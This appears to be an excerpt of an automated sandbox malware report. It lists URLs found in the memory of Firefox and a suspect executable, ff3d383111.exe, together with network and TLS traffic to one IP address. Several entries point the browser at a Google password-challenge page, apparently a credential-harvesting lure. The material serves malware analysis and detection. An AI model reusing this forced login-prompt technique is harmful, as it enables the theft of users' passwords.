Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: ff3d383111.exe, 00000004.00000003.1843046325.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842899108.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842825360.0000000005B4C000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976564866.00000000058B7000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976457919.00000000058B9000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976764557.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: ff3d383111.exe, 00000004.00000003.1881342956.000000000120E000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2017751865.000000000100D000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: firefox.exe, 00000017.00000002.2233337890.0000016BB807A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2202348569.0000016BB6670000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000017.00000002.2168127353.0000016BB4B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 00000017.00000003.2109098626.0000016BBC8D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2168127353.0000016BB4B1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: ff3d383111.exe, 00000004.00000003.1843046325.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842899108.0000000005B4A000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1842825360.0000000005B4C000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976564866.00000000058B7000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976457919.00000000058B9000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1976764557.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/XPIProvider
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1993590887.0000016BB433C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.1994038283.0000016BB4377000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchLOAD_DOCUMENT_NEEDS_COOKIEget
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000017.00000002.2130521007.0000016BB16A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: ff3d383111.exe, 00000009.00000003.2016659604.0000000005996000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: ff3d383111.exe, 00000009.00000003.2016659604.0000000005996000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: ff3d383111.exe, 00000004.00000003.1881031970.0000000005C28000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2016659604.0000000005996000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: ff3d383111.exe, 00000009.00000003.2016659604.0000000005996000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB6303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 00000017.00000002.2126230441.0000016BB0058000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2130521007.0000016BB1603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000017.00000002.2178497345.0000016BB4C09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 00000017.00000002.2126230441.0000016BB0058000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/)
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000017.00000002.2178497345.0000016BB4C09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: ff3d383111.exe, 00000004.00000003.1881031970.0000000005C28000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2016659604.0000000005996000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000017.00000002.2116412557.0000005F23B7C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 00000017.00000002.2274444060.00003FAD5D503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6670000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0AAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/https://www.widevine.com/uninstallAddonFromLocationXPIDB_startup_load_reaso
Source: firefox.exe, 00000017.00000002.2130521007.0000016BB163F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000017.00000002.2267379507.000005371EF51000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2274444060.00003FAD5D503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 00000017.00000002.2274444060.00003FAD5D503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.caZ
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2137248291.0000016BB3C24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2202348569.0000016BB6670000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000017.00000002.2128759032.0000016BB092C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2128759032.0000016BB0911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 00000017.00000002.2272952898.000028B89CA04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 00000017.00000002.2265478957.0000016BBE70B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2209771911.0000016BB6E50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2265478957.0000016BBE75D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2153499352.0000016BB45B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2268717210.000021B03B300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2274444060.00003FAD5D503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000017.00000002.2257743814.0000016BBC67C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2180279670.0000016BB4F3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB631B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 00000017.00000002.2123383657.0000016BA4530000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2112358356.0000005F201D8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000015.00000002.1976319440.0000020A047D1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.1990109910.000001D841C6B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2123383657.0000016BA4539000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000017.00000002.2124477447.0000016BA60D8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2124477447.0000016BA60B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdhttps://completion.a
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB631B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/accounteEditorEnableWrapHackMaskfocusFirstNavigableElementfocusLastNavigableElem
Source: firefox.exe, 00000017.00000002.2268717210.000021B03B300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com;
Source: firefox.exe, 00000017.00000002.2265478957.0000016BBE75D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comP4O
Source: firefox.exe, 00000017.00000002.2268717210.000021B03B300000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2274444060.00003FAD5D503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comZ

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50214
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50227
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50226
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50224
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 50169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50146
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 50226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50151
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50150
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50152
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50158
Source: unknown	Network traffic detected: HTTP traffic on port 50179 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50168
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50169
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 50214 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49779 version: TLS 1.2
